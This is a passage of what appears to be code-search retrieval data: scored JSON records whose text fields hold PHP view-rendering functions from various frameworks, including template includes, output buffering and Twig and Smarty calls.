($with_layout) {\r\n ob_start();\r\n require_once(\"views/layouts/layout.php\"); // на момент вызова layout в $content содержится предыдущий вывод, в нашем случае тело страницы взятое из *.view.php в котором тоже есть вывод $content, соотвественно вызов $content в теле layout заполнит тело страницы\r\n $content = ob_get_contents(); // теперь перезаписываем в контент уже страницу целиком\r\n ob_end_clean();\r\n }\r\n return $content;\r\n}", "title": "" }, { "docid": "8bc7db4646a51cf50e205352bdfa9eb4", "score": "0.73201084", "text": "protected function render($view = null, $data = null)\n\t{\n\t\tif (empty($this->_index_fields))\n\t\t{\n\t\t\t$element = ORM::Factory($this->_orm_model);\n\t\t\t$this->_index_fields[] = $element->primary_key();\n\t\t}\n\t\t\t\n\t\t$data = array('fields' => $this->_index_fields, 'name' => $this->_orm_model, 'route' => $this->_route_name,'controller'=>$this) + $data;\n\n\t\t$this->template->content = View::factory($view,$data);\n\t}", "title": "" }, { "docid": "b8512c031866c7502f8aca6d4c13673d", "score": "0.7203068", "text": "public function Render( string $path, array $view_data = [] ): void\n { echo $this->onRender( $path, $view_data ); }", "title": "" }, { "docid": "6f346180c1d2343f093490f99f0a6e3b", "score": "0.7179078", "text": "public function render(array $data = array())\n {\n $templateFile = VIEWSPATH . 'templates' . DS . VIEW_TEMPLATE . '.php';\n\n if( file_exists($this->viewPath) )\n {\n if( file_exists($templateFile) )\n {\n extract($data);\n require($templateFile);\n }\n else\n {\n error_log('Template ' . $templateFile . ' not found');\n echo \"Template not found!\";\n }\n }\n else\n {\n error_log('View ' . $this->viewPath . ' not found');\n echo \"View not found!\";\n }\n }", "title": "" }, { "docid": "05edb4e93bf967873a8d743ff4a8a671", "score": "0.71514577", "text": "public static function render($view , $data=[]){\n $obj = to_object($data);\n if(!is_file(VIEWS.CONTROLLER.DS.$view.\"View.php\")){\n die(sprintf(\"No existe la vista %sView en ela carpeta %s\", $view, CONTROLLER));\n }\n require_once HEADER;\n require_once VIEWS.CONTROLLER.DS.$view.\"View.php\";\n require_once FOOTER;\n exit();\n }", "title": "" }, { "docid": "f22d0a16d6722b85d4cf54ad98a38558", "score": "0.710024", "text": "public function render($template='', array $data = [])\n\t{\n\t\t//default to scaffolded view path\n\t\t$this->template = $this->defaultTemplate;\n\n\t\t//render alternate view template and merge view data if present\n\t\tif (!empty($template) && is_string($template)) {\n\t\t\t$this->template = $template;\n\t\t}\n\n\t\t//merge action view data into main view data\n\t\tif (!empty($template) && is_array($template)) {\n\t\t\t$this->data = array_merge($this->data, $template);\n\t\t}\n\n\t\tif (!empty($data) && is_array($data)) {\n\t\t\t$this->data = array_merge($this->data, $data);\n\t\t}\n\n\t\t$this->slim->render($this->template, $this->data);\n\t}", "title": "" }, { "docid": "7582c6adb89bca995d889862500055c0", "score": "0.70995957", "text": "public function render($view, $data = [])\r\n {\r\n $this->view = $view;\r\n extract($data);\r\n\r\n $layoutFile = $this->app->getParam('layoutPath') . '/' . $this->layout . '.php';\r\n\r\n if(is_file($layoutFile))\r\n {\r\n include_once $layoutFile;\r\n }\r\n\r\n }", "title": "" }, { "docid": "ab2964fd94685b832045ac19fe44b686", "score": "0.7053872", "text": "function render($view = null, array $data = [], array $mergeData = [])\n {\n $factory = oni('view');\n\n if (func_num_args() === 0) {\n return $factory;\n }\n\n return $factory->make($view, $data, $mergeData)->render();\n }", "title": "" }, { "docid": "244c1c55a855ab6a1bc4a2de8cdac623", "score": "0.7047545", "text": "public function render($data_array = array())\n {\n // @see http://twig.sensiolabs.org\n $twig_loader = new Twig_Loader_Filesystem(PATH_VIEWS);\n $twig = new Twig_Environment($twig_loader);\n $twig->addGlobal('_page', Registry::get('pageArray'));\n $twig->addGlobal('_view', Registry::get('pageArray')['view'].PATH_VIEW_FILE_TYPE);\n //$twig->addGlobal('_siteMap', Registry::get('siteArray'));\n $twig->addGlobal('_siteTree', Registry::get('siteTree'));\n $twig->addGlobal('_user', $this->auth);\n\n // render a view while passing the to-be-rendered data\n echo $twig->render('_templates/'.Registry::get('pageArray')['layout'].PATH_VIEW_FILE_TYPE, $data_array);\n }", "title": "" }, { "docid": "6f27bf0d11391bc02ed606ba3b67b9c5", "score": "0.7028946", "text": "function render($template,$vars = array()){\r\n\t\r\n\t// This function takes the name of a template and\r\n\t// a list of variables, and renders it.\r\n\t\r\n\t// This will create variables from the array:\r\n\textract($vars);\r\n\t\r\n\t// It can also take an array of objects\r\n\t// instead of a template name.\r\n\tif(is_array($template)){\r\n\t\t\r\n\t\t// If an array was passed, it will loop\r\n\t\t// through it, and include a partial view\r\n\t\tforeach($template as $k){\r\n\t\t\t\r\n\t\t\t// This will create a local variable\r\n\t\t\t// with the name of the object's class\r\n\t\t\t\r\n\t\t\t$cl = strtolower(get_class($k));\r\n\t\t\t$$cl = $k;\r\n\t\t\t\r\n\t\t\tinclude \"views/_$cl.php\";\r\n\t\t}\r\n\t\t\r\n\t}\r\n\telse {\r\n\t\tinclude \"views/$template.php\";\r\n\t}\r\n}", "title": "" }, { "docid": "e37fb741183b7e8dd77babe4d6dcd84a", "score": "0.7012853", "text": "public function render(string $view, array $data = [])\n\t{\n\t\t$data = array_merge($data, $this->data);\n\n\t\t// Build our notices from the theme's view file.\n\t\t$data['notice'] = view('layouts/_notice', [\"notice\" => $this->message()]);\n\n\t\t// Pass along our auth classes\n\t\t$data['authenticate'] = $this->authenticate;\n\t\t$data['authorize'] = $this->authorize;\n\t\t$data['current_user'] = $this->authenticate->user();\n\n\t\t$content = view($view, $data, ['saveData' => true]);\n\n\t\t$layout = view('layouts/'.$this->layout, $data, ['saveData' => true]);\n\t\t$layout = str_replace('{content}', $content, $layout);\n\n\t\techo $layout;\n\t}", "title": "" }, { "docid": "96b9fd1eb51ce28e5b03701a6c2b414e", "score": "0.69623387", "text": "public function render($data)\n {\n include_once 'views' . DIRECTORY_SEPARATOR . 'templates' . DIRECTORY_SEPARATOR . $this->template . '.php';\n }", "title": "" }, { "docid": "9376efc312e0fd0e1c30275e536062b7", "score": "0.6958058", "text": "protected function _render($view, $data=null, $echo=true){\n $output = $this->load->view($view, $data, true);\n //todo: write lib for hooking data into random HTML and use it on content here\n \n }", "title": "" }, { "docid": "df97b47a36a615be93ab1d017be83f14", "score": "0.69343185", "text": "public function renderView($viewName, $data = array()) {\r\n\t\t// We include the view and template in this function.\r\n\t\t// They'll want easy access to some globals.\r\n\t\tglobal $SITE_DIR;\r\n\t\tglobal $PIE_DIR;\r\n\t\tglobal $URL_ROOT;\r\n\t\tglobal $HTTP_ROOT;\r\n\t\tglobal $HTTPS_ROOT;\r\n\t\tglobal $ENVIRONMENT;\r\n\t\tglobal $VERSION;\r\n\t\tglobal $NEED_TITLE;\r\n\t\tglobal $REFRESHER_ENABLED;\r\n\r\n\t\t// Put the data into variables that can be referred to within the scope of the template and view.\r\n\t\tif (is_array($data)) {\r\n\t\t\tforeach ($data as $key => $value) {\r\n\t\t\t\t$$key = $value;\r\n\t\t\t\tif ($key == 'data') {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t// Pass the view path in so that it can be used by a template if necessary.\r\n\t\t$viewPath = $SITE_DIR . 'views/' . $viewName . 'View.php';\r\n\r\n\t\t// If the view wasn't there, try falling back to the PiePHP default for this view.\r\n\t\tif (!file_exists($viewPath)) {\r\n\t\t\t$viewPath = $PIE_DIR . 'views/' . $viewName . 'View.php';\r\n\t\t}\r\n\r\n\t\t// If the view still isn't there, this is a 404.\r\n\t\tif (!file_exists($viewPath)) {\r\n\t\t\tif ($ENVIRONMENT == 'development') {\r\n\t\t\t\t$this->notifyError('View file \"' . $viewPath . '\" does not exist.');\r\n\t\t\t}\r\n\t\t\t$this->show404();\r\n\t\t\texit;\r\n\t\t}\r\n\r\n\t\t// If there's a template, include it and let it include the view, otherwise, just include the view.\r\n\t\tif ($this->templateName) {\r\n\t\t\t// If there's a contentTemplate, the template can include it.\r\n\t\t\tif ($this->contentTemplateName) {\r\n\t\t\t\t$contentTemplatePath = $SITE_DIR . 'templates/' . $this->contentTemplateName . 'Template.php';\r\n\t\t\t}\r\n\t\t\tinclude $SITE_DIR . 'templates/' . $this->templateName . 'Template.php';\r\n\t\t}\r\n\t\telse {\r\n\t\t\tinclude $viewPath;\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "0167d6ddbbf6f120b25fab4c0d89683d", "score": "0.69235957", "text": "protected function render($viewFile, $data = array ()) {\n\t\t/**\n\t\t * To get the viewHelper object from the view files\n\t\t * \n\t\t * @var Subash\\Common\\ViewHelper\n\t\t */\n\t\t$view = new ViewHelper ();\n\t\t\n\t\t/**\n\t\t * Is any pagination set from controller,\n\t\t * give access to the view file\n\t\t */\n\t\tif (isset ( $data ['pagination'] )) {\n\t\t\t$pagination = $data ['pagination'];\n\t\t}\n\t\t/**\n\t\t * Rendering the view files\n\t\t */\n\t\trequire_once 'views/' . $viewFile . '.php';\n\t}", "title": "" }, { "docid": "880949965bc6e5a98cf96cf8cc22ddff", "score": "0.69091094", "text": "public function render($data = array(), $templateName = NULL) {\r\n\t\tglobal $CONTROLLER_NAME;\r\n\t\tglobal $ACTION_NAME;\r\n\r\n\t\t// Slice \"Controller\" off the end of the controller name.\r\n\t\t$controller = substr($CONTROLLER_NAME, 0, -10);\r\n\t\t// Make the first letter lower case, so this can be lowerCamelCase.\r\n\t\t$controller[0] = strtolower($controller[0]);\r\n\t\t// If it was a child controller like Store_ItemsController, make the underscores into directory separators.\r\n\t\twhile ($position = strpos($controller, '_')) {\r\n\t\t\t$controller[$position] = '/';\r\n\t\t\t$controller[$position + 1] = strtolower($controller[$position + 1]);\r\n\t\t}\r\n\r\n\t\t// Slice \"Action\" off the end of the action name.\r\n\t\t$action = substr($ACTION_NAME, 0, -6);\r\n\r\n\t\t// For example, the MyAccountController's profileSettingsAction will have the viewName \"myAccount_profileSettings\".\r\n\t\t// This viewName will resolve to the file: \"/views/myAccount/profileSettingsView.php\"\r\n\t\t$viewName = $controller . '/' . $action;\r\n\r\n\t\t$this->renderView($viewName, $data, $templateName);\r\n\t}", "title": "" }, { "docid": "0260db9ff29cacbba296f4cca5584c3e", "score": "0.68905324", "text": "protected function render($view = null, $data = [])\n {\n if (is_array($view) && empty($data)) {\n $data = $view;\n $view = null;\n }\n\n if (empty($data)) {\n $data = $this->options->all();\n }\n\n $view = $view ?: ($this->provides() . '.php');\n extract($data); // phpcs:ignore WordPress.PHP.DontExtract.extract_extract\n ob_start();\n include __DIR__ . \"/../../resources/views/{$view}\";\n return ob_get_clean();\n }", "title": "" }, { "docid": "ea003370c784fdf8ccd29019cb632122", "score": "0.6889249", "text": "public function render($template, $data) {\n\n /**\n * Assign the shared global variables\n */\n\n foreach(Express::$sharedData as $key => $value ) {\n\n $data[$key] = $value;\n }\n\n\n\n /**\n * Switch between template engines\n */\n switch ($this->view_engine) {\n \tcase 'default':\n\n \t\t/**\n \t\t * Case default, no view engine is used, we serve PHP view files\n \t\t */\n \t\tinclude $this->views.'/'.$template.'.php';\n \t\tbreak;\n \tcase 'smarty':\n\n \t\t/**\n \t\t * Case smarty, set up the view engine and configure it\n \t\t */\n\t \trequire 'express_modules/Smarty/Smarty.class.php';\n\t \t$smarty = new Smarty;\n\n\t \t# Configure smarty\n\t \t$smarty->template_dir = __DIR__.'/'.$this->views;\n \t/**\n * Enable caching if set\n */\n if($this->template_caching==true){\n \techo $this->template_cache_dir.'_______-';\n $smarty->cache_dir = __DIR__.'/'.$this->template_cache_dir;\n $smarty->caching = true;\n }\n\n\n\n\t \t/**\n\t \t * Assign values\n\t \t */\n\t \tforeach($data as $key => $value) {\n\t \t\t$smarty->assign($key,$value);\n\t \t}\n\n\t \t/**\n\t \t * Load the view\n\t \t */\n\t \t$smarty->display($template.'.tpl');\n\t \tbreak;\n }\n }", "title": "" }, { "docid": "92187e730a26eeec4b8b1b78594ceb66", "score": "0.685701", "text": "public function render($identifier, View $view);", "title": "" }, { "docid": "546ab2571e5f680b723eb7fe1a92ee7e", "score": "0.6826986", "text": "protected static function _view($view, $data = [])\r\n {\r\n $twig = Twig::init();\r\n\r\n echo $twig->render($view . '.html.twig', $data);\r\n exit();\r\n }", "title": "" }, { "docid": "9e3185b9999d137d3bed0569135e8c54", "score": "0.6817052", "text": "public function view ( $view_name, $data = null ) {\n\t\tif ( ! file_exists( APPATH . \"views/$view_name.php\" ) ) die( \"Unable to load view [app/views/$view_name.php]. Page not found[404].\" );\n\t\telse {\n\t\t\tif ( $data ) extract( $data ); //extract array into variables\n\t\t\trequire_once( \"app/views/$view_name.php\" ); \n\t\t}\n\t}", "title": "" }, { "docid": "fcf9e508112f7ef5a0c4ceb8a22fd13a", "score": "0.67945254", "text": "public function render(string $view, array $params = []): string;", "title": "" }, { "docid": "fcf9e508112f7ef5a0c4ceb8a22fd13a", "score": "0.67945254", "text": "public function render(string $view, array $params = []): string;", "title": "" }, { "docid": "9207400bc328d70acb9c5e4378ce7ffa", "score": "0.67846555", "text": "function _render_page($view, $data = null, $render = false) {\n $this->viewdata = (empty($data)) ? $this->data : $data;\n $view_html = $this->load->view($view, $this->viewdata, $render);\n if (!$render) {\n return $view_html;\n }\n }", "title": "" }, { "docid": "10f1fd8d5b8cb6eaea18f14100bc3477", "score": "0.67793214", "text": "protected function _render($viewFile, $data = [])\n {\n if (empty($data)) {\n $data = $this->viewVars;\n }\n\n if (substr($viewFile, -3) === 'ctp') {\n $out = parent::_render($viewFile, $data);\n } else {\n $viewFile = str_replace($this->_templatePath, '', $viewFile);\n $data = array_merge($data, [\n 'view' => $this,\n ]);\n $out = $this->renderer->render($viewFile, $data);\n }\n \n return $out;\n }", "title": "" }, { "docid": "afc92f9e95f60c3e179518b8a66db454", "score": "0.6773662", "text": "function renderView(\n string $template,\n array $data = []\n): string {\n extract($data);\n\n ob_start();\n require INSTALL_PATH . \"/view/$template\";\n $content = ob_get_contents();\n ob_end_clean();\n\n return ($content ? $content : \"\");\n}", "title": "" }, { "docid": "840cbeaed9b8e4ac2e499e3713e5af71", "score": "0.6769761", "text": "public static function render($file, $data = [])\n {\n require_once('./Views/' . $file . '.php');\n }", "title": "" }, { "docid": "a928ae62e0a697aa814e7801a2fa5215", "score": "0.67657906", "text": "function render() {}", "title": "" }, { "docid": "a8e18410533f9b2baf891299d146cd4e", "score": "0.6765481", "text": "public function render($view, $data = [])\r\n {\r\n $viewFile = $this->getViewPath($view);\r\n\r\n $compiledViewPath = $this->getCompiledViewPath($viewFile);\r\n\r\n $this->compileView($compiledViewPath, $viewFile);\r\n\r\n return $this->generateOutput($compiledViewPath, $data);\r\n }", "title": "" }, { "docid": "c977f3ee20f6a294c073827259101238", "score": "0.67390454", "text": "protected function renderView($view, $data) {\n\t\t$this->load->view('/include/header.html', $data);\n\t\t$this->load->view('/include/menu.html', $data);\n\t\t$this->load->view('/include/search.html', $data);\n\t\t$this->load->view('/'.$view.'.html', $data);\n\t\t$this->load->view('/include/footer.html', $data);\n\t}", "title": "" }, { "docid": "a9ff91fc4a13665c44786f082852fdaf", "score": "0.6734703", "text": "public function render($view, $data = [])\n {\n //Path to Views directory\n $loader = new \\Twig_Loader_Filesystem(VIEWS.DS);\n \n $twig = new \\Twig_Environment($loader, [\n 'debug' => true\n ]);\n $twig->addExtension(new \\Twig_Extension_Debug());\n \n echo $twig->render($view, $data);\n }", "title": "" }, { "docid": "eb931193355099c9a9105d96e2cb093a", "score": "0.6718369", "text": "public function render($template, $view, $data)\n {\n ob_start();\n extract($data);\n include VIEWS_PATH . '/' . $view . '.php';\n $content = ob_get_clean();\n include TEMPLATES_PATH . '/' . $template . '.php';\n }", "title": "" }, { "docid": "5716817e6c70b2906da38a36edbb6fd6", "score": "0.66905534", "text": "public function viewData(array $arguments = []);", "title": "" }, { "docid": "4d326089e1922a8a416d316e11b00329", "score": "0.6689507", "text": "public function renderInternal($_viewFile_,$_data_=null,$_return_=false)\n\t{\n\t\t// we use special variable names here to avoid conflict when extracting data\n\t\tif(is_array($_data_))\n\t\t\textract($_data_,EXTR_PREFIX_SAME,'data');\n\t\telse\n\t\t\t$data=$_data_;\n\t\tif($_return_)\n\t\t{\n\t\t\tob_start();\n\t\t\tob_implicit_flush(false);\n\t\t\trequire($_viewFile_);\n\t\t\treturn ob_get_clean();\n\t\t}\n\t\telse\n\t\t\trequire($_viewFile_);\n\t}", "title": "" }, { "docid": "6acc357ff354991ea12227d88d304de9", "score": "0.6683936", "text": "private function render(View $view){\n\n }", "title": "" }, { "docid": "869aed6d961249292c889b83ca478e5a", "score": "0.66674346", "text": "protected function renderView(string $view, array $data): string\n {\n return (function (string $view, $data) {\n extract($data);\n ob_start();\n eval('?>' . file_get_contents($view));\n return ob_get_clean() ?: '';\n })($view, $data);\n }", "title": "" }, { "docid": "2799c0951e8620ebeca6f9ce106b3fb1", "score": "0.66442835", "text": "private function frontend_render($view = '' , $data = []){\n if ($this->mobile_detect->isMobile()) {\n $data['mobile'] = TRUE;\n\n if ($this->mobile_detect->isiOS()) {\n $data['ios'] = TRUE;\n $data['android'] = FALSE;\n } else if ($this->mobile_detect->isAndroidOS()) {\n $data['ios'] = FALSE;\n $data['android'] = TRUE;\n } else {\n $data['ios'] = FALSE;\n $data['android'] = FALSE;\n }\n\n if ($this->mobile_detect->getBrowsers('IE')) {\n $data['mobile_ie'] = TRUE;\n } else {\n $data['mobile_ie'] = FALSE;\n }\n } else {\n $data['mobile'] = FALSE;\n $data['ios'] = FALSE;\n $data['android'] = FALSE;\n $data['mobile_ie'] = FALSE;\n }\n\t $this->load->view('templates/header',$data);\n\t $this->load->view($view,$data);\n\t $this->load->view('templates/footer',$data);\n }", "title": "" }, { "docid": "ac977740dc01495ee916d693d8e13ece", "score": "0.66360503", "text": "private function renderInternal($_viewFile_,$_data_=null,$_return_=false)\r\n\t{\r\n\t // we use special variable names here to avoid conflict when extracting data\r\n\t if(is_array($_data_))\r\n\t extract($_data_,EXTR_PREFIX_SAME,'data');\r\n\t else\r\n\t $data=$_data_;\r\n\t if($_return_)\r\n\t {\r\n\t ob_start();\r\n\t ob_implicit_flush(false);\r\n\t require($_viewFile_);\r\n\t return ob_get_clean();\r\n\t }\r\n\t else\r\n\t require($_viewFile_);\r\n\t}", "title": "" }, { "docid": "c4078b1c3498e11a2336ec14eb105d26", "score": "0.66162014", "text": "final private static function render_view($view_filename, array $view_data)\n {\n extract($view_data, EXTR_SKIP);\n extract(self::$_global_data, EXTR_SKIP | EXTR_REFS);\n \n ob_start();\n \n try\n {\n include $view_filename;\n }\n catch( \\Exception $exception )\n {\n ob_end_clean();\n \n throw $exception;\n }\n \n return ob_get_clean();\n }", "title": "" }, { "docid": "c30bd057aaae7adb93fb8c97afe9092d", "score": "0.66069996", "text": "function view($data = array(), $tpl = '', $headers = array('Content-Type' => 'text/html')) {\n\tif (is_string($data)) {\n\t\treturn new \\wulaphp\\mvc\\view\\SmartyView($tpl, $data, $headers);\n\t}\n\n\treturn new \\wulaphp\\mvc\\view\\SmartyView($data, $tpl, $headers);\n}", "title": "" }, { "docid": "ec4a0d7988ebcb6888cc44271165a514", "score": "0.6606606", "text": "public function renderView($params, $data = array())\n\t{\t\t\n\t\ttry{\n\t\t\t// Set default controller and action\n\t\t\t$controller = $this->_controller;\n\t\t\t$view = CConfig::get('defaultAction');\n\n\t\t\t// Set controller and action according to passed params\n\t\t\t$paramsParts = explode('/', $params);\t\t\t\n\t\t\tif(!empty($params)){\n\t\t\t\t$parts = count($paramsParts);\n\t\t\t\tif($parts == 1){\n\t\t\t\t\tif(isset($paramsParts[0])) $view = $paramsParts[0];\n\t\t\t\t}else if($parts >= 2){\n\t\t\t\t\tif(isset($paramsParts[0])) $controller = $paramsParts[0];\n\t\t\t\t\tif(isset($paramsParts[1])) $view = $paramsParts[1];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$controller = strtolower($controller);\n // CORRECTION [20.09.2016]\n\t\t\t$view = strtolower($view);\n\n\t\t\t$viewFile = APPHP_PATH.DS.'protected'.DS.'views'.DS.$controller.DS.$view.'.php';\n\t\t\tif(is_file($viewFile)){\n\t\t\t\t// Check application view\n\t\t\t}else{\n\t\t\t\t// Check modules view\n\t\t\t\t$viewFile = APPHP_PATH.DS.'protected'.DS.A::app()->mapAppModule($controller).'views'.DS.$controller.DS.$view.'.php';\n\t\t\t}\n\t\t\t// Force using lower-case names for view files\n\t\t\t//$viewFile = strtolower($viewFile);\n\n\t\t\t// Prepare content variables for view file\n\t\t\tif(is_array($data)){\n\t\t\t\tforeach($data as $key => $value){\n\t\t\t\t\t$$key = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Get view file content\n\t\t\tif(file_exists($viewFile)){\n\t\t\t\tob_start();\n\t\t\t\tinclude $viewFile;\n\t\t\t\t$this->__viewContent = ob_get_contents();\n\t\t\t\tob_end_clean();\n\t\t\t\t\n\t\t\t\tCDebug::addMessage('general', 'included', $viewFile);\n\t\t\t}else{\n\t\t\t\tif(preg_match('/[A-Z]/', $this->_controller)){\n\t\t\t\t\tCDebug::addMessage('errors', 'render-view', A::t('core', 'The system is unable to find the requested view file: {file}. Case sensitivity mismatch!', array('{file}'=>$viewFile)));\n\t\t\t\t}else{\n\t\t\t\t\tCDebug::addMessage('errors', 'render-view', A::t('core', 'The system is unable to find the requested view file: {file}', array('{file}'=>$viewFile)));\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\t\t\t\t\n\n\t\t\techo $this->__viewContent;\n\t\t\t\n\t\t\tCDebug::addMessage('params', 'render-view', $viewFile);\n\n\t\t}catch(Exception $e){\n\t\t\tCDebug::addMessage('errors', 'render-view', $e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "f426ba81f92ee7588064094178c68be8", "score": "0.66057605", "text": "public function render($_view, $data, $return=FALSE){\n \n foreach($this->_ci->config->item('twig_functions') as $function){\n $this->registerFunction($function);\n }\n \n //Start Benchmark\n $this->_ci->benchmark->mark('start_twig_parsing');\n \n if(!is_array($data)){\n //convert object to array\n $data = (array)$data; \n }\n \n //No missing data\n $data = array_merge($data, $this->_ci->load->_ci_cached_vars);\n \n //Parse template\n try{\n $parsed_view = $this->_twig->render($_view, $data);\n } catch (Exception $ex) {\n show_error($ex);\n }\n \n //Stop Benchmark\n $this->_ci->benchmark->mark('end_twig_parsing');\n \n //Return the results?\n if(!$return){\n $this->_ci->output->append_output($parsed_view);\n }\n \n return $parsed_view;\n }", "title": "" }, { "docid": "9efe68d1f846c354e0eaaee0f7178cac", "score": "0.6605423", "text": "public function render(string $templateName, array $data = []): string;", "title": "" }, { "docid": "c5bab075fb32a9a614f77aec81d8c7f1", "score": "0.6595663", "text": "public function render($data)\n {\n // - First, run `transform` on `data` and update `content` by merging it\n // with `data`.\n $this->content = array_merge($this->content, $this->transform($data));\n // - Next, run the `exposeAppOptions` subroutine.\n $this->exposeAppOptions();\n // - Next, setup specific content with the results from respective\n // subroutines.\n $this->content['js_templates'] = $this->getJSTemplates();\n $this->content['index'] = $this->getIndex();\n // - Next, add any custom data where the data is dynamic, or separate\n // partials would be too awkward to implement.\n $this->content['app']['current_year'] = date('Y');\n $this->content['metas'][] = array(\n 'name' => 'copyright',\n 'content' => $this->string_templater->render(\n '(cc) {{copyright.start_year}}-{{current_year}} {{owner.name}}. {{copyright.meta}}',\n $this->content['app']\n ),\n );\n // - Next, call the will-render hooks.\n $this->willRender();\n $this->controller->viewWillRender($this);\n // - Next, setup `asset_urls` and any other asset-related content.\n $this->integrateAssetsAspect();\n if ($this->debug) {\n // - Next, setup `debug_info` and any other debug-related content.\n $this->integrateDebugAspect();\n }\n // - Finally, render the template with the final context.\n return $this->templater->render('main', array_merge($this->content, $this->helpers));\n }", "title": "" }, { "docid": "b097527fae74ec558e10662a035a98c0", "score": "0.65939265", "text": "abstract function render();", "title": "" }, { "docid": "b097527fae74ec558e10662a035a98c0", "score": "0.65939265", "text": "abstract function render();", "title": "" }, { "docid": "b52139d91f30852631f2ecf0533dfc3f", "score": "0.65634435", "text": "public function view(string $name, array $data = []) : View;", "title": "" }, { "docid": "5e11602bed9bd00f00207cd3a2dbf2e7", "score": "0.655586", "text": "public function render($name, array $data = array())\n {\n return $this->make($name)->render($data);\n }", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.65414435", "text": "public function render();", "title": "" }, { "docid": "2da8156721169f874a61cf4d381928c6", "score": "0.6525926", "text": "static public function view(string $__view, array $__data = []) : string\n\t{\n\t\t/* import variables into the current symbol table from an only prefix invalid/numeric variable names with _ \t*/\n\t\textract($__data, EXTR_PREFIX_INVALID, '_');\n\n\t\t/* if the view isn't there then findView will throw an error BEFORE output buffering is turned on */\n\t\t$__path = __ROOT__.self::findService($__view,true,'view');\n\n\t\t/* turn on output buffering */\n\t\tob_start();\n\n\t\t/* bring in the view file */\n\t\tinclude $__path;\n\n\t\t/* return the current buffer contents and delete current output buffer */\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "bee51bdd8d3ee60f11c42c5b2addd699", "score": "0.6522815", "text": "public static function view($file, array $data = [])\n\t{\n\t\t// create view\n\t\t$view = static::$engine->make($file, $data);\n\t\t\n\t\t// return / echo it\n\t\tif (static::$alias === static::$fetch) {\n\t\t\treturn $view->render();\n\t\t} else {\n\t\t\techo $view->render();\n\t\t}\n\t}", "title": "" }, { "docid": "7aa34f9df14f6d9054e8c2b1e0617371", "score": "0.651871", "text": "public static function render(string $view, array $data = []): void\n {\n $file = APP_ROOT . '/src/Views/' . $view . '.php';\n\n if (is_readable($file)) require_once $file;\n else die('404 Page not found');\n }", "title": "" }, { "docid": "457c729b7e6ee930f911427adcc9ade9", "score": "0.6511606", "text": "public static function render(string $path, string $view, array $data = []): string\n {\n return (new static($path))->viewFactory->make($view, $data)->render();\n }", "title": "" }, { "docid": "979c8d43dfc4ebc940fb444e6e3830f6", "score": "0.651", "text": "protected function renderView($view, $data)\n {\n $date = new DateTime;\n $content = $this->getPlatesEngine()->render($view, $data);\n\n return $this->getPlatesEngine()->render(\n 'layout',\n [\n 'content' => $content,\n 'phpHoundVersion' => 'PHP Hound ' . Analyser::VERSION,\n 'phpVersion' => 'PHP ' . phpversion(),\n 'generationTime' => $date->format('r'),\n 'backButton' => !empty($data['backButton']),\n ]\n );\n }", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "4d6626ce29e17c1ac2d4e42ab9af21a2", "score": "0.65087825", "text": "abstract public function render();", "title": "" }, { "docid": "36a9e1f56a57452a6d6279bb151c5a86", "score": "0.65032774", "text": "public function _renderView($view = 'dashboard', $data = null)\r\n {\r\n\r\n $data['session'] = &$this->session;\r\n $data['phpsession'] = &$this->phpsession;\r\n $data['Rpath'] = $this->Rpath;\r\n 